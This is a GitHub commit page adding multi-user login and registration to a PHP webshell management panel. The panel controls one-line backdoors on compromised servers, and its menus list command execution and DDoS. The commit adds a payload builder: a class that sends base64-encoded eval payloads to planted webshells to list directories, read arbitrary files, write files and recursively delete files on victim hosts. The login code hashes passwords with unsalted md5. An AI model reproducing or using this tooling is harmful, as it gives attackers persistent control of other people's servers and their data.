Skip to content

Commit 6ceb53a

Browse files
committed
自定义命令 多用户支持
1 parent 98a10de commit 6ceb53a

20 files changed

+371
-74
lines changed

config.php

+3-1
Original file line numberDiff line numberDiff line change
@@ -11,4 +11,6 @@
1111
define('DB_PREFIX','w8_');
1212

1313
//WEB一句话分页条数
14-
define("perpage_num",'2');
14+
define("perpage_num",'20');
15+
//修改某个ID为管理员只需要在 w8_user表把admin设置为1即可 ps:管理员好像只能发邀请码 = -
16+

content/views/file.php

+2-11
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,7 @@
11
<!-- content start -->
22
<div class="admin-content">
33
<div class="admin-content-body">
4-
<div class="am-cf am-padding am-padding-bottom-0">
5-
<div class="am-fl am-cf"><strong class="am-text-primary am-text-lg">Webshell</strong> / <small>文件管理</small></div>
6-
</div>
4+
<?php echo mianbao("file",$info["id"]); ?>
75
<hr>
86
<div class="am-g">
97
<div class="am-u-sm-12 am-u-md-4">
@@ -29,15 +27,13 @@
2927
</div>
3028
<div class="am-u-sm-12 am-u-md-3">
3129
<div class="am-form-group">
32-
<select data-am-selected="{btnSize: 'sm'}" style="display: none;" onchange="selectSort(this);">
30+
<select data-am-selected="{btnSize: 'sm'}" style="display: none;" onchange="location.href='index.php?action=file&gid=<?php echo $info["id"]; ?>&path='+options[selectedIndex].value">
3331
<option value="<?php echo $rootfile; ?>">本程序目录</option>
3432
<option value="C:/">C盘</option>
3533
<option value="D:/">D盘</option>
3634
<option value="E:/">E盘</option>
3735
<option value="F:/">F盘</option>
3836
<option value="C:/Documents and Settings/All Users/「开始」菜单/程序/启动">启动项</option>
39-
<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup">启动项(英)</option>
40-
<option value="C:/RECYCLER">回收站</option>
4137
<option value="C:/Program Files">Programs</option>
4238
<option value="/etc">etc</option>
4339
<option value="/home">home</option>
@@ -46,11 +42,6 @@
4642
</select>
4743
</div>
4844
</div>
49-
<script>
50-
function selectSort(type){
51-
window.location.href = "index.php?action=file&gid=<?php echo $info["id"]; ?>&path=" + type.value;
52-
}
53-
</script>
5445
</div>
5546
<div class="am-g">
5647

content/views/footer.php

-1
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,5 @@
88
<script src="<?php echo CSS_Path; ?>assets/js/jquery.min.js"></script>
99
<!--<![endif]-->
1010
<script src="<?php echo CSS_Path; ?>assets/js/amazeui.min.js"></script>
11-
<script src="<?php echo CSS_Path; ?>assets/js/app.js"></script>
1211
</body>
1312
</html>

content/views/header.php

+3-3
Original file line numberDiff line numberDiff line change
@@ -24,12 +24,12 @@
2424

2525
<li class="am-dropdown" data-am-dropdown>
2626
<a class="am-dropdown-toggle" data-am-dropdown-toggle href="javascript:;">
27-
<span class="am-icon-users"></span> 管理员 <span class="am-icon-caret-down"></span>
27+
<span class="am-icon-users"></span> <?php echo $email; ?> <span class="am-icon-caret-down"></span>
2828
</a>
2929
<ul class="am-dropdown-content">
3030
<li><a href="#"><span class="am-icon-user"></span> 资料</a></li>
3131
<li><a href="#"><span class="am-icon-cog"></span> 设置</a></li>
32-
<li><a href="#"><span class="am-icon-power-off"></span> 退出</a></li>
32+
<li><a href="index.php?action=logout"><span class="am-icon-power-off"></span> 退出</a></li>
3333
</ul>
3434
</li>
3535
<li class="am-hide-sm-only"><a href="javascript:;" id="admin-fullscreen"><span class="am-icon-arrows-alt"></span> <span class="admin-fullText">开启全屏</span></a></li>
@@ -53,7 +53,7 @@
5353
</li>
5454
<li><a href="#"><span class="am-icon-bug"></span> 执行命令</a></li>
5555
<li><a href="#"><span class="am-icon-bug"></span> DDOS</a></li>
56-
<li><a href="#"><span class="am-icon-sign-out"></span> 注销</a></li>
56+
<li><a href="index.php?action=logout"><span class="am-icon-sign-out"></span> 注销</a></li>
5757
</ul>
5858

5959
<div class="am-panel am-panel-default admin-sidebar-panel">

content/views/login.php

+6-7
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
<html>
33
<head lang="en">
44
<meta charset="UTF-8">
5-
<title>Login Page | w8ay Webshell Manager</title>
5+
<title>登陆</title>
66
<meta http-equiv="X-UA-Compatible" content="IE=edge">
77
<meta name="viewport" content="width=device-width, initial-scale=1">
88
<meta name="format-detection" content="telephone=no">
@@ -34,21 +34,20 @@
3434
</div>
3535
<div class="am-g">
3636
<div class="am-u-lg-6 am-u-md-8 am-u-sm-centered">
37-
37+
<?php if(isset($tip))echo $tip; ?>
3838
<form method="post" class="am-form">
3939
<label for="email">邮箱:</label>
40-
<input type="email" name="" id="email" value="">
40+
<input type="email" name="email" id="email" value="">
4141
<br>
4242
<label for="password">密码:</label>
43-
<input type="password" name="" id="password" value="">
43+
<input type="password" name="password" id="password" value="">
4444
<br>
4545
<label for="remember-me">
46-
<input id="remember-me" type="checkbox">
47-
记住密码
46+
<a href="index.php?action=reg">注册</a>
4847
</label>
4948
<br />
5049
<div class="am-cf">
51-
<input type="submit" name="" value=" 登 录 " class="am-btn am-btn-primary am-btn-sm am-fr">
50+
<input type="submit" name="submit" value=" 登 录 " class="am-btn am-btn-primary am-btn-sm am-fr">
5251
</div>
5352
</form>
5453
<hr>

content/views/mothod.php

+13
Original file line numberDiff line numberDiff line change
@@ -31,4 +31,17 @@ function File_Size($size)
3131
elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K';
3232
else $size = $size . ' B';
3333
return $size;
34+
}
35+
36+
function mianbao($action="",$gid="",$filepath='')
37+
{
38+
echo '<div class="am-cf am-padding am-padding-bottom-0">
39+
<div class="am-fl am-cf"><strong class="am-text-primary am-text-lg"><a href="index.php">Webshell</a></strong> /';
40+
if($action=="file"){
41+
echo '<small><a href="index.php?action=file&gid='.$gid.'">文件管理</a></small>';
42+
43+
}else{
44+
echo '<small>一句话管理</small>';
45+
}
46+
echo '</div></div>';
3447
}

content/views/reg.php

+60
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
<!DOCTYPE html>
2+
<html>
3+
<head lang="en">
4+
<meta charset="UTF-8">
5+
<title>注册</title>
6+
<meta http-equiv="X-UA-Compatible" content="IE=edge">
7+
<meta name="viewport" content="width=device-width, initial-scale=1">
8+
<meta name="format-detection" content="telephone=no">
9+
<meta name="renderer" content="webkit">
10+
<meta http-equiv="Cache-Control" content="no-siteapp" />
11+
<link rel="alternate icon" type="image/png" href="<?php echo CSS_Path; ?>assets/i/favicon.png">
12+
<link rel="stylesheet" href="<?php echo CSS_Path; ?>assets/css/amazeui.min.css"/>
13+
<style>
14+
.header {
15+
text-align: center;
16+
}
17+
.header h1 {
18+
font-size: 200%;
19+
color: #333;
20+
margin-top: 30px;
21+
}
22+
.header p {
23+
font-size: 14px;
24+
}
25+
</style>
26+
</head>
27+
<body>
28+
<div class="header">
29+
<div class="am-g">
30+
<h1>注册</h1>
31+
<p>Webshell 一句话管理平台</p>
32+
</div>
33+
<hr />
34+
</div>
35+
<div class="am-g">
36+
<div class="am-u-lg-6 am-u-md-8 am-u-sm-centered">
37+
<?php if(isset($tip))echo $tip; ?>
38+
<form method="post" class="am-form">
39+
<label for="email">邮箱:</label>
40+
<input type="email" name="email" id="email" value="">
41+
<br>
42+
<label for="password">密码:</label>
43+
<input type="password" name="password" id="password" value="">
44+
<label for="password">邀请码</label>
45+
<input type="text" name="invitcode" id="text" value="暂未开启,随意填写">
46+
<br>
47+
<label for="remember-me">
48+
<a href="index.php?action=login">登陆</a>
49+
</label>
50+
<br />
51+
<div class="am-cf">
52+
<input type="submit" name="submit" value=" 注 册 " class="am-btn am-btn-primary am-btn-sm am-fr">
53+
</div>
54+
</form>
55+
<hr>
56+
57+
</div>
58+
</div>
59+
</body>
60+
</html>

content/views/webshell.php

+1-3
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,7 @@
11
<!-- content start -->
22
<div class="admin-content">
33
<div class="admin-content-body">
4-
<div class="am-cf am-padding am-padding-bottom-0">
5-
<div class="am-fl am-cf"><strong class="am-text-primary am-text-lg">Webshell</strong> / <small>一句话管理</small></div>
6-
</div>
4+
<?php echo mianbao(); ?>
75

86
<hr>
97
<div class="am-g">

include/controller/Login_Controller.php

+45
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,54 @@
44
*/
55
class Login_Controller
66
{
7+
78
public function Display()
89
{
10+
$User_model = new User_model();
11+
if(isset($_POST["submit"])){
12+
$email = $_POST["email"];
13+
$password = $_POST["password"];
14+
$password = md5($password);
15+
$uid = $User_model->CheckUser($email,$password);
16+
if($uid){
17+
$_SESSION["uid"] = $uid["id"];
18+
$_SESSION["email"] = $uid["email"];
19+
$_SESSION["admin"] = $uid["admin"];
20+
Direct("index.php");
21+
}else{
22+
$tip = "登陆失败!";
23+
}
24+
}
925
require_once(View::getView('login'));
1026
die();
1127
}
28+
29+
public function DisplayReg()
30+
{
31+
$User_model = new User_model();
32+
if(isset($_POST["submit"])){
33+
$email = $_POST["email"];
34+
$password = $_POST["password"];
35+
$password = md5($password);
36+
37+
$tip = "";
38+
if($User_model->isExist($email)){
39+
$tip = "注册失败!";
40+
}else{
41+
$User_model->addUser($password,$email,0);
42+
$tip = "注册成功!";
43+
}
44+
45+
}
46+
require_once(View::getView('reg'));
47+
die();
48+
}
49+
50+
public function Logout()
51+
{
52+
unset($_SESSION["uid"]);
53+
unset($_SESSION["email"]);
54+
unset($_SESSION["admin"]);
55+
Direct("index.php");
56+
}
1257
}

include/controller/ShellFile_Controller.php

+1-1
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ public function Display_index($gid,$filepath='')
2020
if(isset($webroot)){
2121
$rootfile = $webroot["WebRoot"];
2222
$webfile = FileSort($Shell_Model->GetWebDiskFileList($rootfile));
23-
include View::getView('file');
23+
//include View::getView('file');
2424
}else{
2525
wmsg("连接失败");
2626
}

include/controller/Shellog_Controller.php

+6-3
Original file line numberDiff line numberDiff line change
@@ -15,10 +15,11 @@ function display_index(){
1515
$page = $_GET["page"];
1616
if(empty($page))$page=1;
1717
$index_lognum = perpage_num;
18+
$author = "and uid=".UID;
1819
if(isset($keyword)){
1920
$keyword = addslashes(htmlspecialchars(urldecode($keyword)));
2021
$keyword = str_replace(array('%', '_'), array('\%', '\_'), $keyword);
21-
$sqlSegment = "where extra like '%{$keyword}%' or url like '%{$keyword}%' order by time desc";
22+
$sqlSegment = "where extra like '%{$keyword}%' or url like '%{$keyword}%' $author order by time desc";
2223
$lognum = $Webshell_Model->getLogNum($sqlSegment);
2324
$total_pages = ceil($lognum / $index_lognum);
2425
if ($page > $total_pages) {
@@ -30,7 +31,7 @@ function display_index(){
3031
}elseif (isset($type)) {
3132
$type = strtoupper(addslashes(htmlspecialchars(urldecode($type))));
3233
$type = str_replace(array('%', '_'), array('\%', '\_'), $type);
33-
$sqlSegment = "where type = '$type' order by time desc";
34+
$sqlSegment = "where type = '$type' $author order by time desc";
3435
$lognum = $Webshell_Model->getLogNum($sqlSegment);
3536
$total_pages = ceil($lognum / $index_lognum);
3637
if ($page > $total_pages) {
@@ -40,13 +41,14 @@ function display_index(){
4041
$logs = $Webshell_Model->getLogsForAdmin($sqlSegment,$page);
4142
$page_url = pagination($lognum, $index_lognum, $page, $pageurl);
4243
}else{
44+
$sqlSegment = 'where uid='.UID;
4345
$lognum = $Webshell_Model->getLogNum($sqlSegment);
4446
$total_pages = ceil($lognum / $index_lognum);
4547
if ($page > $total_pages) {
4648
$page = $total_pages;
4749
}
4850
$pageurl = 'index.php?&page=';
49-
$logs = $Webshell_Model->getLogsForAdmin('',$page);
51+
$logs = $Webshell_Model->getLogsForAdmin($sqlSegment,$page);
5052
$page_url = pagination($lognum, $index_lognum, $page, $pageurl);
5153
}
5254
require_once(View::getView('webshell'));
@@ -60,6 +62,7 @@ function display_add(){
6062
$_POST["options"] = "ASP";
6163
}
6264
$logData = array(
65+
"uid" => UID,
6366
"url" => htmlspecialchars($_POST["add_url"]),
6467
"pass" => htmlspecialchars($_POST["add_password"]),
6568
"extra" => htmlspecialchars($_POST["add_intro"]),
+72
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
<?php
2+
/**
3+
* PHP 一句话payload生成
4+
*/
5+
class PHPShell_Build_Model
6+
{
7+
var $phpshell = array(
8+
'link' => '{PASS}=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=',//连接前缀
9+
10+
'safe' => "@ini_set('display_errors','0');@set_time_limit(0);@set_magic_quotes_runtime(0);",//payload前缀
11+
12+
'flag_left' => 'echo("->|");',//左标志位
13+
14+
'flag_right' => 'echo("|<-");die();',//右标志位
15+
16+
'GetWebRoot' => '$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D==""){$D=dirname($_SERVER["PATH_TRANSLATED"]);}$arr = array("WebRoot" => $D);echo json_encode($arr);',//获取一句话目录
17+
18+
'GetWebDiskFileList' => '$D=base64_decode($_POST["z1"]);$F=opendir($D);
19+
if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$tmparr = array(); while($N=readdir($F)){$P=$D."/".$N;$T=date("Y-m-d H:i:s",filemtime($P));$E=substr(base_convert(fileperms($P),10,8),-4);$arr = array("time" => $T, "size" => filesize($P),"root" => $E,"path" =>urlencode(is_dir($P)?$N."/":$N));$tmparr[] = $arr;}echo json_encode($tmparr);closedir($F);};',//获取磁盘文件
20+
21+
'GetWebFileContent' => '$F=base64_decode($_POST["z1"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)));@fclose($P);',//得到文件内容
22+
23+
'CreateAndSaveFile' => 'echo @fwrite(fopen(base64_decode($_POST["z1"]),"w"),base64_decode($_POST["z2"]))?"1":"0";',//创建文件
24+
25+
'DeleteFile' => 'function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}$F=get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"];if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?"1":"0":"0");}',//删除文件
26+
);
27+
28+
public function Conbinationx($value='')//组合payload
29+
{
30+
return $this->phpshell["safe"].$this->phpshell["flag_left"].$value.$this->phpshell["flag_right"];
31+
}
32+
33+
public function GetWebRootPath()//取一句话目录
34+
{
35+
$payload = $this->Conbinationx($this->phpshell["GetWebRoot"]);
36+
$payload = urlencode(base64_encode($payload));
37+
$payload = $this->phpshell["link"].$payload;
38+
return $payload;
39+
}
40+
41+
public function GetWebDiskFileList()//取磁盘文件
42+
{
43+
$payload = $this->Conbinationx($this->phpshell["GetWebDiskFileList"]);
44+
$payload = urlencode(base64_encode($payload));
45+
$payload = $this->phpshell["link"].$payload.'&z1={PATH}';
46+
return $payload;
47+
}
48+
49+
public function GetWebFileContent()//取文件内容
50+
{
51+
$payload = $this->Conbinationx($this->phpshell["GetWebFileContent"]);
52+
$payload = urlencode(base64_encode($payload));
53+
$payload = $this->phpshell["link"].$payload.'&z1={PATH}';
54+
return $payload;
55+
}
56+
57+
public function CreateAndSaveFile()
58+
{
59+
$payload = $this->Conbinationx($this->phpshell["CreateAndSaveFile"]);
60+
$payload = urlencode(base64_encode($payload));
61+
$payload = $this->phpshell["link"].$payload.'&z1={PATH}&z2={Content}';
62+
return $payload;
63+
}
64+
65+
public function DeleteFile()
66+
{
67+
$payload = $this->Conbinationx($this->phpshell["DeleteFile"]);
68+
$payload = urlencode(base64_encode($payload));
69+
$payload = $this->phpshell["link"].$payload.'&z1={PATH}';
70+
return $payload;
71+
}
72+
}

0 commit comments

Comments
 (0)